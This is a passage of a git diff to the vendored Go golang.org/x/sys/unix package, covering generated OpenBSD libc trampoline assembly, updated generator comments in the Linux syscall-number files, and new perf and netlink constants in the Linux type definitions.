$libc_getpgid_trampoline<>(SB) + +TEXT libc_getpgrp_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_getpgrp(SB) + +GLOBL ·libc_getpgrp_trampoline_addr(SB), RODATA, $8 +DATA ·libc_getpgrp_trampoline_addr(SB)/8, $libc_getpgrp_trampoline<>(SB) + +TEXT libc_getpid_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_getpid(SB) + +GLOBL ·libc_getpid_trampoline_addr(SB), RODATA, $8 +DATA ·libc_getpid_trampoline_addr(SB)/8, $libc_getpid_trampoline<>(SB) + +TEXT libc_getppid_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_getppid(SB) + +GLOBL ·libc_getppid_trampoline_addr(SB), RODATA, $8 +DATA ·libc_getppid_trampoline_addr(SB)/8, $libc_getppid_trampoline<>(SB) + +TEXT libc_getpriority_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_getpriority(SB) + +GLOBL ·libc_getpriority_trampoline_addr(SB), RODATA, $8 +DATA ·libc_getpriority_trampoline_addr(SB)/8, $libc_getpriority_trampoline<>(SB) + +TEXT libc_getrlimit_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_getrlimit(SB) + +GLOBL ·libc_getrlimit_trampoline_addr(SB), RODATA, $8 +DATA ·libc_getrlimit_trampoline_addr(SB)/8, $libc_getrlimit_trampoline<>(SB) + +TEXT libc_getrtable_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_getrtable(SB) + +GLOBL ·libc_getrtable_trampoline_addr(SB), RODATA, $8 +DATA ·libc_getrtable_trampoline_addr(SB)/8, $libc_getrtable_trampoline<>(SB) + +TEXT libc_getrusage_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_getrusage(SB) + +GLOBL ·libc_getrusage_trampoline_addr(SB), RODATA, $8 +DATA ·libc_getrusage_trampoline_addr(SB)/8, $libc_getrusage_trampoline<>(SB) + +TEXT libc_getsid_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_getsid(SB) + +GLOBL ·libc_getsid_trampoline_addr(SB), RODATA, $8 +DATA ·libc_getsid_trampoline_addr(SB)/8, $libc_getsid_trampoline<>(SB) + +TEXT libc_gettimeofday_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_gettimeofday(SB) + +GLOBL ·libc_gettimeofday_trampoline_addr(SB), RODATA, $8 +DATA ·libc_gettimeofday_trampoline_addr(SB)/8, $libc_gettimeofday_trampoline<>(SB) + +TEXT libc_getuid_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_getuid(SB) + +GLOBL ·libc_getuid_trampoline_addr(SB), RODATA, $8 +DATA ·libc_getuid_trampoline_addr(SB)/8, $libc_getuid_trampoline<>(SB) + +TEXT libc_issetugid_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_issetugid(SB) + +GLOBL ·libc_issetugid_trampoline_addr(SB), RODATA, $8 +DATA ·libc_issetugid_trampoline_addr(SB)/8, $libc_issetugid_trampoline<>(SB) + +TEXT libc_kill_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_kill(SB) + +GLOBL ·libc_kill_trampoline_addr(SB), RODATA, $8 +DATA ·libc_kill_trampoline_addr(SB)/8, $libc_kill_trampoline<>(SB) + +TEXT libc_kqueue_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_kqueue(SB) + +GLOBL ·libc_kqueue_trampoline_addr(SB), RODATA, $8 +DATA ·libc_kqueue_trampoline_addr(SB)/8, $libc_kqueue_trampoline<>(SB) + +TEXT libc_lchown_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_lchown(SB) + +GLOBL ·libc_lchown_trampoline_addr(SB), RODATA, $8 +DATA ·libc_lchown_trampoline_addr(SB)/8, $libc_lchown_trampoline<>(SB) + +TEXT libc_link_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_link(SB) + +GLOBL ·libc_link_trampoline_addr(SB), RODATA, $8 +DATA ·libc_link_trampoline_addr(SB)/8, $libc_link_trampoline<>(SB) + +TEXT libc_linkat_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_linkat(SB) + +GLOBL ·libc_linkat_trampoline_addr(SB), RODATA, $8 +DATA ·libc_linkat_trampoline_addr(SB)/8, $libc_linkat_trampoline<>(SB) + +TEXT libc_listen_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_listen(SB) + +GLOBL ·libc_listen_trampoline_addr(SB), RODATA, $8 +DATA ·libc_listen_trampoline_addr(SB)/8, $libc_listen_trampoline<>(SB) + +TEXT libc_lstat_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_lstat(SB) + +GLOBL ·libc_lstat_trampoline_addr(SB), RODATA, $8 +DATA ·libc_lstat_trampoline_addr(SB)/8, $libc_lstat_trampoline<>(SB) + +TEXT libc_mkdir_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_mkdir(SB) + +GLOBL ·libc_mkdir_trampoline_addr(SB), RODATA, $8 +DATA ·libc_mkdir_trampoline_addr(SB)/8, $libc_mkdir_trampoline<>(SB) + +TEXT libc_mkdirat_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_mkdirat(SB) + +GLOBL ·libc_mkdirat_trampoline_addr(SB), RODATA, $8 +DATA ·libc_mkdirat_trampoline_addr(SB)/8, $libc_mkdirat_trampoline<>(SB) + +TEXT libc_mkfifo_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_mkfifo(SB) + +GLOBL ·libc_mkfifo_trampoline_addr(SB), RODATA, $8 +DATA ·libc_mkfifo_trampoline_addr(SB)/8, $libc_mkfifo_trampoline<>(SB) + +TEXT libc_mkfifoat_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_mkfifoat(SB) + +GLOBL ·libc_mkfifoat_trampoline_addr(SB), RODATA, $8 +DATA ·libc_mkfifoat_trampoline_addr(SB)/8, $libc_mkfifoat_trampoline<>(SB) + +TEXT libc_mknod_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_mknod(SB) + +GLOBL ·libc_mknod_trampoline_addr(SB), RODATA, $8 +DATA ·libc_mknod_trampoline_addr(SB)/8, $libc_mknod_trampoline<>(SB) + +TEXT libc_mknodat_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_mknodat(SB) + +GLOBL ·libc_mknodat_trampoline_addr(SB), RODATA, $8 +DATA ·libc_mknodat_trampoline_addr(SB)/8, $libc_mknodat_trampoline<>(SB) + +TEXT libc_nanosleep_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_nanosleep(SB) + +GLOBL ·libc_nanosleep_trampoline_addr(SB), RODATA, $8 +DATA ·libc_nanosleep_trampoline_addr(SB)/8, $libc_nanosleep_trampoline<>(SB) + +TEXT libc_open_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_open(SB) + +GLOBL ·libc_open_trampoline_addr(SB), RODATA, $8 +DATA ·libc_open_trampoline_addr(SB)/8, $libc_open_trampoline<>(SB) + +TEXT libc_openat_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_openat(SB) + +GLOBL ·libc_openat_trampoline_addr(SB), RODATA, $8 +DATA ·libc_openat_trampoline_addr(SB)/8, $libc_openat_trampoline<>(SB) + +TEXT libc_pathconf_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_pathconf(SB) + +GLOBL ·libc_pathconf_trampoline_addr(SB), RODATA, $8 +DATA ·libc_pathconf_trampoline_addr(SB)/8, $libc_pathconf_trampoline<>(SB) + +TEXT libc_pread_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_pread(SB) + +GLOBL ·libc_pread_trampoline_addr(SB), RODATA, $8 +DATA ·libc_pread_trampoline_addr(SB)/8, $libc_pread_trampoline<>(SB) + +TEXT libc_pwrite_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_pwrite(SB) + +GLOBL ·libc_pwrite_trampoline_addr(SB), RODATA, $8 +DATA ·libc_pwrite_trampoline_addr(SB)/8, $libc_pwrite_trampoline<>(SB) + +TEXT libc_read_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_read(SB) + +GLOBL ·libc_read_trampoline_addr(SB), RODATA, $8 +DATA ·libc_read_trampoline_addr(SB)/8, $libc_read_trampoline<>(SB) + +TEXT libc_readlink_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_readlink(SB) + +GLOBL ·libc_readlink_trampoline_addr(SB), RODATA, $8 +DATA ·libc_readlink_trampoline_addr(SB)/8, $libc_readlink_trampoline<>(SB) + +TEXT libc_readlinkat_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_readlinkat(SB) + +GLOBL ·libc_readlinkat_trampoline_addr(SB), RODATA, $8 +DATA ·libc_readlinkat_trampoline_addr(SB)/8, $libc_readlinkat_trampoline<>(SB) + +TEXT libc_rename_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_rename(SB) + +GLOBL ·libc_rename_trampoline_addr(SB), RODATA, $8 +DATA ·libc_rename_trampoline_addr(SB)/8, $libc_rename_trampoline<>(SB) + +TEXT libc_renameat_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_renameat(SB) + +GLOBL ·libc_renameat_trampoline_addr(SB), RODATA, $8 +DATA ·libc_renameat_trampoline_addr(SB)/8, $libc_renameat_trampoline<>(SB) + +TEXT libc_revoke_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_revoke(SB) + +GLOBL ·libc_revoke_trampoline_addr(SB), RODATA, $8 +DATA ·libc_revoke_trampoline_addr(SB)/8, $libc_revoke_trampoline<>(SB) + +TEXT libc_rmdir_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_rmdir(SB) + +GLOBL ·libc_rmdir_trampoline_addr(SB), RODATA, $8 +DATA ·libc_rmdir_trampoline_addr(SB)/8, $libc_rmdir_trampoline<>(SB) + +TEXT libc_lseek_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_lseek(SB) + +GLOBL ·libc_lseek_trampoline_addr(SB), RODATA, $8 +DATA ·libc_lseek_trampoline_addr(SB)/8, $libc_lseek_trampoline<>(SB) + +TEXT libc_select_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_select(SB) + +GLOBL ·libc_select_trampoline_addr(SB), RODATA, $8 +DATA ·libc_select_trampoline_addr(SB)/8, $libc_select_trampoline<>(SB) + +TEXT libc_setegid_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_setegid(SB) + +GLOBL ·libc_setegid_trampoline_addr(SB), RODATA, $8 +DATA ·libc_setegid_trampoline_addr(SB)/8, $libc_setegid_trampoline<>(SB) + +TEXT libc_seteuid_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_seteuid(SB) + +GLOBL ·libc_seteuid_trampoline_addr(SB), RODATA, $8 +DATA ·libc_seteuid_trampoline_addr(SB)/8, $libc_seteuid_trampoline<>(SB) + +TEXT libc_setgid_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_setgid(SB) + +GLOBL ·libc_setgid_trampoline_addr(SB), RODATA, $8 +DATA ·libc_setgid_trampoline_addr(SB)/8, $libc_setgid_trampoline<>(SB) + +TEXT libc_setlogin_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_setlogin(SB) + +GLOBL ·libc_setlogin_trampoline_addr(SB), RODATA, $8 +DATA ·libc_setlogin_trampoline_addr(SB)/8, $libc_setlogin_trampoline<>(SB) + +TEXT libc_setpgid_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_setpgid(SB) + +GLOBL ·libc_setpgid_trampoline_addr(SB), RODATA, $8 +DATA ·libc_setpgid_trampoline_addr(SB)/8, $libc_setpgid_trampoline<>(SB) + +TEXT libc_setpriority_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_setpriority(SB) + +GLOBL ·libc_setpriority_trampoline_addr(SB), RODATA, $8 +DATA ·libc_setpriority_trampoline_addr(SB)/8, $libc_setpriority_trampoline<>(SB) + +TEXT libc_setregid_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_setregid(SB) + +GLOBL ·libc_setregid_trampoline_addr(SB), RODATA, $8 +DATA ·libc_setregid_trampoline_addr(SB)/8, $libc_setregid_trampoline<>(SB) + +TEXT libc_setreuid_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_setreuid(SB) + +GLOBL ·libc_setreuid_trampoline_addr(SB), RODATA, $8 +DATA ·libc_setreuid_trampoline_addr(SB)/8, $libc_setreuid_trampoline<>(SB) + +TEXT libc_setresgid_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_setresgid(SB) + +GLOBL ·libc_setresgid_trampoline_addr(SB), RODATA, $8 +DATA ·libc_setresgid_trampoline_addr(SB)/8, $libc_setresgid_trampoline<>(SB) + +TEXT libc_setresuid_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_setresuid(SB) + +GLOBL ·libc_setresuid_trampoline_addr(SB), RODATA, $8 +DATA ·libc_setresuid_trampoline_addr(SB)/8, $libc_setresuid_trampoline<>(SB) + +TEXT libc_setrlimit_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_setrlimit(SB) + +GLOBL ·libc_setrlimit_trampoline_addr(SB), RODATA, $8 +DATA ·libc_setrlimit_trampoline_addr(SB)/8, $libc_setrlimit_trampoline<>(SB) + +TEXT libc_setrtable_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_setrtable(SB) + +GLOBL ·libc_setrtable_trampoline_addr(SB), RODATA, $8 +DATA ·libc_setrtable_trampoline_addr(SB)/8, $libc_setrtable_trampoline<>(SB) + +TEXT libc_setsid_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_setsid(SB) + +GLOBL ·libc_setsid_trampoline_addr(SB), RODATA, $8 +DATA ·libc_setsid_trampoline_addr(SB)/8, $libc_setsid_trampoline<>(SB) + +TEXT libc_settimeofday_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_settimeofday(SB) + +GLOBL ·libc_settimeofday_trampoline_addr(SB), RODATA, $8 +DATA ·libc_settimeofday_trampoline_addr(SB)/8, $libc_settimeofday_trampoline<>(SB) + +TEXT libc_setuid_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_setuid(SB) + +GLOBL ·libc_setuid_trampoline_addr(SB), RODATA, $8 +DATA ·libc_setuid_trampoline_addr(SB)/8, $libc_setuid_trampoline<>(SB) + +TEXT libc_stat_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_stat(SB) + +GLOBL ·libc_stat_trampoline_addr(SB), RODATA, $8 +DATA ·libc_stat_trampoline_addr(SB)/8, $libc_stat_trampoline<>(SB) + +TEXT libc_statfs_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_statfs(SB) + +GLOBL ·libc_statfs_trampoline_addr(SB), RODATA, $8 +DATA ·libc_statfs_trampoline_addr(SB)/8, $libc_statfs_trampoline<>(SB) + +TEXT libc_symlink_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_symlink(SB) + +GLOBL ·libc_symlink_trampoline_addr(SB), RODATA, $8 +DATA ·libc_symlink_trampoline_addr(SB)/8, $libc_symlink_trampoline<>(SB) + +TEXT libc_symlinkat_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_symlinkat(SB) + +GLOBL ·libc_symlinkat_trampoline_addr(SB), RODATA, $8 +DATA ·libc_symlinkat_trampoline_addr(SB)/8, $libc_symlinkat_trampoline<>(SB) + +TEXT libc_sync_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_sync(SB) + +GLOBL ·libc_sync_trampoline_addr(SB), RODATA, $8 +DATA ·libc_sync_trampoline_addr(SB)/8, $libc_sync_trampoline<>(SB) + +TEXT libc_truncate_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_truncate(SB) + +GLOBL ·libc_truncate_trampoline_addr(SB), RODATA, $8 +DATA ·libc_truncate_trampoline_addr(SB)/8, $libc_truncate_trampoline<>(SB) + +TEXT libc_umask_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_umask(SB) + +GLOBL ·libc_umask_trampoline_addr(SB), RODATA, $8 +DATA ·libc_umask_trampoline_addr(SB)/8, $libc_umask_trampoline<>(SB) + +TEXT libc_unlink_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_unlink(SB) + +GLOBL ·libc_unlink_trampoline_addr(SB), RODATA, $8 +DATA ·libc_unlink_trampoline_addr(SB)/8, $libc_unlink_trampoline<>(SB) + +TEXT libc_unlinkat_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_unlinkat(SB) + +GLOBL ·libc_unlinkat_trampoline_addr(SB), RODATA, $8 +DATA ·libc_unlinkat_trampoline_addr(SB)/8, $libc_unlinkat_trampoline<>(SB) + +TEXT libc_unmount_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_unmount(SB) + +GLOBL ·libc_unmount_trampoline_addr(SB), RODATA, $8 +DATA ·libc_unmount_trampoline_addr(SB)/8, $libc_unmount_trampoline<>(SB) + +TEXT libc_write_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_write(SB) + +GLOBL ·libc_write_trampoline_addr(SB), RODATA, $8 +DATA ·libc_write_trampoline_addr(SB)/8, $libc_write_trampoline<>(SB) + +TEXT libc_mmap_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_mmap(SB) + +GLOBL ·libc_mmap_trampoline_addr(SB), RODATA, $8 +DATA ·libc_mmap_trampoline_addr(SB)/8, $libc_mmap_trampoline<>(SB) + +TEXT libc_munmap_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_munmap(SB) + +GLOBL ·libc_munmap_trampoline_addr(SB), RODATA, $8 +DATA ·libc_munmap_trampoline_addr(SB)/8, $libc_munmap_trampoline<>(SB) + +TEXT libc_utimensat_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_utimensat(SB) + +GLOBL ·libc_utimensat_trampoline_addr(SB), RODATA, $8 +DATA ·libc_utimensat_trampoline_addr(SB)/8, $libc_utimensat_trampoline<>(SB) diff --git a/vendor/golang.org/x/sys/unix/zsysnum_linux_386.go b/vendor/golang.org/x/sys/unix/zsysnum_linux_386.go index 62192e1de..c9c4ad031 100644 --- a/vendor/golang.org/x/sys/unix/zsysnum_linux_386.go +++ b/vendor/golang.org/x/sys/unix/zsysnum_linux_386.go @@ -1,4 +1,4 @@ -// go run linux/mksysnum.go -Wall -Werror -static -I/tmp/include -m32 /tmp/include/asm/unistd.h +// go run linux/mksysnum.go -Wall -Werror -static -I/tmp/386/include -m32 /tmp/386/include/asm/unistd.h // Code generated by the command above; see README.md. DO NOT EDIT. //go:build 386 && linux diff --git a/vendor/golang.org/x/sys/unix/zsysnum_linux_amd64.go b/vendor/golang.org/x/sys/unix/zsysnum_linux_amd64.go index 490aab5d2..12ff3417c 100644 --- a/vendor/golang.org/x/sys/unix/zsysnum_linux_amd64.go +++ b/vendor/golang.org/x/sys/unix/zsysnum_linux_amd64.go @@ -1,4 +1,4 @@ -// go run linux/mksysnum.go -Wall -Werror -static -I/tmp/include -m64 /tmp/include/asm/unistd.h +// go run linux/mksysnum.go -Wall -Werror -static -I/tmp/amd64/include -m64 /tmp/amd64/include/asm/unistd.h // Code generated by the command above; see README.md. DO NOT EDIT. //go:build amd64 && linux diff --git a/vendor/golang.org/x/sys/unix/zsysnum_linux_arm.go b/vendor/golang.org/x/sys/unix/zsysnum_linux_arm.go index aca17b6fa..c3fb5e77a 100644 --- a/vendor/golang.org/x/sys/unix/zsysnum_linux_arm.go +++ b/vendor/golang.org/x/sys/unix/zsysnum_linux_arm.go @@ -1,4 +1,4 @@ -// go run linux/mksysnum.go -Wall -Werror -static -I/tmp/include /tmp/include/asm/unistd.h +// go run linux/mksysnum.go -Wall -Werror -static -I/tmp/arm/include /tmp/arm/include/asm/unistd.h // Code generated by the command above; see README.md. DO NOT EDIT. //go:build arm && linux diff --git a/vendor/golang.org/x/sys/unix/zsysnum_linux_arm64.go b/vendor/golang.org/x/sys/unix/zsysnum_linux_arm64.go index 54b4dfa54..358c847a4 100644 --- a/vendor/golang.org/x/sys/unix/zsysnum_linux_arm64.go +++ b/vendor/golang.org/x/sys/unix/zsysnum_linux_arm64.go @@ -1,4 +1,4 @@ -// go run linux/mksysnum.go -Wall -Werror -static -I/tmp/include -fsigned-char /tmp/include/asm/unistd.h +// go run linux/mksysnum.go -Wall -Werror -static -I/tmp/arm64/include -fsigned-char /tmp/arm64/include/asm/unistd.h // Code generated by the command above; see README.md. DO NOT EDIT. //go:build arm64 && linux diff --git a/vendor/golang.org/x/sys/unix/zsysnum_linux_loong64.go b/vendor/golang.org/x/sys/unix/zsysnum_linux_loong64.go index 44a764c99..81c4849b1 100644 --- a/vendor/golang.org/x/sys/unix/zsysnum_linux_loong64.go +++ b/vendor/golang.org/x/sys/unix/zsysnum_linux_loong64.go @@ -1,4 +1,4 @@ -// go run linux/mksysnum.go -Wall -Werror -static -I/tmp/include /tmp/include/asm/unistd.h +// go run linux/mksysnum.go -Wall -Werror -static -I/tmp/loong64/include /tmp/loong64/include/asm/unistd.h // Code generated by the command above; see README.md. DO NOT EDIT. //go:build loong64 && linux diff --git a/vendor/golang.org/x/sys/unix/zsysnum_linux_mips.go b/vendor/golang.org/x/sys/unix/zsysnum_linux_mips.go index 65a99efc2..202a57e90 100644 --- a/vendor/golang.org/x/sys/unix/zsysnum_linux_mips.go +++ b/vendor/golang.org/x/sys/unix/zsysnum_linux_mips.go @@ -1,4 +1,4 @@ -// go run linux/mksysnum.go -Wall -Werror -static -I/tmp/include /tmp/include/asm/unistd.h +// go run linux/mksysnum.go -Wall -Werror -static -I/tmp/mips/include /tmp/mips/include/asm/unistd.h // Code generated by the command above; see README.md. DO NOT EDIT. //go:build mips && linux diff --git a/vendor/golang.org/x/sys/unix/zsysnum_linux_mips64.go b/vendor/golang.org/x/sys/unix/zsysnum_linux_mips64.go index 841c8a668..1fbceb52d 100644 --- a/vendor/golang.org/x/sys/unix/zsysnum_linux_mips64.go +++ b/vendor/golang.org/x/sys/unix/zsysnum_linux_mips64.go @@ -1,4 +1,4 @@ -// go run linux/mksysnum.go -Wall -Werror -static -I/tmp/include /tmp/include/asm/unistd.h +// go run linux/mksysnum.go -Wall -Werror -static -I/tmp/mips64/include /tmp/mips64/include/asm/unistd.h // Code generated by the command above; see README.md. DO NOT EDIT. //go:build mips64 && linux diff --git a/vendor/golang.org/x/sys/unix/zsysnum_linux_mips64le.go b/vendor/golang.org/x/sys/unix/zsysnum_linux_mips64le.go index e26a7c765..b4ffb7a20 100644 --- a/vendor/golang.org/x/sys/unix/zsysnum_linux_mips64le.go +++ b/vendor/golang.org/x/sys/unix/zsysnum_linux_mips64le.go @@ -1,4 +1,4 @@ -// go run linux/mksysnum.go -Wall -Werror -static -I/tmp/include /tmp/include/asm/unistd.h +// go run linux/mksysnum.go -Wall -Werror -static -I/tmp/mips64le/include /tmp/mips64le/include/asm/unistd.h // Code generated by the command above; see README.md. DO NOT EDIT. //go:build mips64le && linux diff --git a/vendor/golang.org/x/sys/unix/zsysnum_linux_mipsle.go b/vendor/golang.org/x/sys/unix/zsysnum_linux_mipsle.go index 26447260a..867985f9b 100644 --- a/vendor/golang.org/x/sys/unix/zsysnum_linux_mipsle.go +++ b/vendor/golang.org/x/sys/unix/zsysnum_linux_mipsle.go @@ -1,4 +1,4 @@ -// go run linux/mksysnum.go -Wall -Werror -static -I/tmp/include /tmp/include/asm/unistd.h +// go run linux/mksysnum.go -Wall -Werror -static -I/tmp/mipsle/include /tmp/mipsle/include/asm/unistd.h // Code generated by the command above; see README.md. DO NOT EDIT. //go:build mipsle && linux diff --git a/vendor/golang.org/x/sys/unix/zsysnum_linux_ppc.go b/vendor/golang.org/x/sys/unix/zsysnum_linux_ppc.go index 26aefc186..a8cce69ed 100644 --- a/vendor/golang.org/x/sys/unix/zsysnum_linux_ppc.go +++ b/vendor/golang.org/x/sys/unix/zsysnum_linux_ppc.go @@ -1,4 +1,4 @@ -// go run linux/mksysnum.go -Wall -Werror -static -I/tmp/include /tmp/include/asm/unistd.h +// go run linux/mksysnum.go -Wall -Werror -static -I/tmp/ppc/include /tmp/ppc/include/asm/unistd.h // Code generated by the command above; see README.md. DO NOT EDIT. //go:build ppc && linux diff --git a/vendor/golang.org/x/sys/unix/zsysnum_linux_ppc64.go b/vendor/golang.org/x/sys/unix/zsysnum_linux_ppc64.go index 8d4cd9d99..d44c5b39d 100644 --- a/vendor/golang.org/x/sys/unix/zsysnum_linux_ppc64.go +++ b/vendor/golang.org/x/sys/unix/zsysnum_linux_ppc64.go @@ -1,4 +1,4 @@ -// go run linux/mksysnum.go -Wall -Werror -static -I/tmp/include /tmp/include/asm/unistd.h +// go run linux/mksysnum.go -Wall -Werror -static -I/tmp/ppc64/include /tmp/ppc64/include/asm/unistd.h // Code generated by the command above; see README.md. DO NOT EDIT. //go:build ppc64 && linux diff --git a/vendor/golang.org/x/sys/unix/zsysnum_linux_ppc64le.go b/vendor/golang.org/x/sys/unix/zsysnum_linux_ppc64le.go index 3b405d1f8..4214dd9c0 100644 --- a/vendor/golang.org/x/sys/unix/zsysnum_linux_ppc64le.go +++ b/vendor/golang.org/x/sys/unix/zsysnum_linux_ppc64le.go @@ -1,4 +1,4 @@ -// go run linux/mksysnum.go -Wall -Werror -static -I/tmp/include /tmp/include/asm/unistd.h +// go run linux/mksysnum.go -Wall -Werror -static -I/tmp/ppc64le/include /tmp/ppc64le/include/asm/unistd.h // Code generated by the command above; see README.md. DO NOT EDIT. //go:build ppc64le && linux diff --git a/vendor/golang.org/x/sys/unix/zsysnum_linux_riscv64.go b/vendor/golang.org/x/sys/unix/zsysnum_linux_riscv64.go index 3a9c96b28..3e594a8c0 100644 --- a/vendor/golang.org/x/sys/unix/zsysnum_linux_riscv64.go +++ b/vendor/golang.org/x/sys/unix/zsysnum_linux_riscv64.go @@ -1,4 +1,4 @@ -// go run linux/mksysnum.go -Wall -Werror -static -I/tmp/include /tmp/include/asm/unistd.h +// go run linux/mksysnum.go -Wall -Werror -static -I/tmp/riscv64/include /tmp/riscv64/include/asm/unistd.h // Code generated by the command above; see README.md. DO NOT EDIT. //go:build riscv64 && linux diff --git a/vendor/golang.org/x/sys/unix/zsysnum_linux_s390x.go b/vendor/golang.org/x/sys/unix/zsysnum_linux_s390x.go index 8ffa66469..7ea465204 100644 --- a/vendor/golang.org/x/sys/unix/zsysnum_linux_s390x.go +++ b/vendor/golang.org/x/sys/unix/zsysnum_linux_s390x.go @@ -1,4 +1,4 @@ -// go run linux/mksysnum.go -Wall -Werror -static -I/tmp/include -fsigned-char /tmp/include/asm/unistd.h +// go run linux/mksysnum.go -Wall -Werror -static -I/tmp/s390x/include -fsigned-char /tmp/s390x/include/asm/unistd.h // Code generated by the command above; see README.md. DO NOT EDIT. //go:build s390x && linux diff --git a/vendor/golang.org/x/sys/unix/zsysnum_linux_sparc64.go b/vendor/golang.org/x/sys/unix/zsysnum_linux_sparc64.go index 6a39640e7..92f628ef4 100644 --- a/vendor/golang.org/x/sys/unix/zsysnum_linux_sparc64.go +++ b/vendor/golang.org/x/sys/unix/zsysnum_linux_sparc64.go @@ -1,4 +1,4 @@ -// go run linux/mksysnum.go -Wall -Werror -static -I/tmp/include /tmp/include/asm/unistd.h +// go run linux/mksysnum.go -Wall -Werror -static -I/tmp/sparc64/include /tmp/sparc64/include/asm/unistd.h // Code generated by the command above; see README.md. DO NOT EDIT. //go:build sparc64 && linux diff --git a/vendor/golang.org/x/sys/unix/zsysnum_openbsd_386.go b/vendor/golang.org/x/sys/unix/zsysnum_openbsd_386.go index 817edbf95..597733813 100644 --- a/vendor/golang.org/x/sys/unix/zsysnum_openbsd_386.go +++ b/vendor/golang.org/x/sys/unix/zsysnum_openbsd_386.go @@ -6,6 +6,7 @@ package unix +// Deprecated: Use libc wrappers instead of direct syscalls. const ( SYS_EXIT = 1 // { void sys_exit(int rval); } SYS_FORK = 2 // { int sys_fork(void); } diff --git a/vendor/golang.org/x/sys/unix/zsysnum_openbsd_amd64.go b/vendor/golang.org/x/sys/unix/zsysnum_openbsd_amd64.go index ea453614e..16af29189 100644 --- a/vendor/golang.org/x/sys/unix/zsysnum_openbsd_amd64.go +++ b/vendor/golang.org/x/sys/unix/zsysnum_openbsd_amd64.go @@ -6,6 +6,7 @@ package unix +// Deprecated: Use libc wrappers instead of direct syscalls. const ( SYS_EXIT = 1 // { void sys_exit(int rval); } SYS_FORK = 2 // { int sys_fork(void); } diff --git a/vendor/golang.org/x/sys/unix/zsysnum_openbsd_arm64.go b/vendor/golang.org/x/sys/unix/zsysnum_openbsd_arm64.go index 32eec5ed5..721ef5910 100644 --- a/vendor/golang.org/x/sys/unix/zsysnum_openbsd_arm64.go +++ b/vendor/golang.org/x/sys/unix/zsysnum_openbsd_arm64.go @@ -6,6 +6,7 @@ package unix +// Deprecated: Use libc wrappers instead of direct syscalls. const ( SYS_EXIT = 1 // { void sys_exit(int rval); } SYS_FORK = 2 // { int sys_fork(void); } diff --git a/vendor/golang.org/x/sys/unix/ztypes_linux.go b/vendor/golang.org/x/sys/unix/ztypes_linux.go index 869847987..ff6881167 100644 --- a/vendor/golang.org/x/sys/unix/ztypes_linux.go +++ b/vendor/golang.org/x/sys/unix/ztypes_linux.go @@ -945,6 +945,9 @@ type PerfEventAttr struct { Aux_watermark uint32 Sample_max_stack uint16 _ uint16 + Aux_sample_size uint32 + _ uint32 + Sig_data uint64 } type PerfEventMmapPage struct { @@ -1463,6 +1466,11 @@ const ( IFLA_ALT_IFNAME = 0x35 IFLA_PERM_ADDRESS = 0x36 IFLA_PROTO_DOWN_REASON = 0x37 + IFLA_PARENT_DEV_NAME = 0x38 + IFLA_PARENT_DEV_BUS_NAME = 0x39 + IFLA_GRO_MAX_SIZE = 0x3a + IFLA_TSO_MAX_SIZE = 0x3b + IFLA_TSO_MAX_SEGS = 0x3c 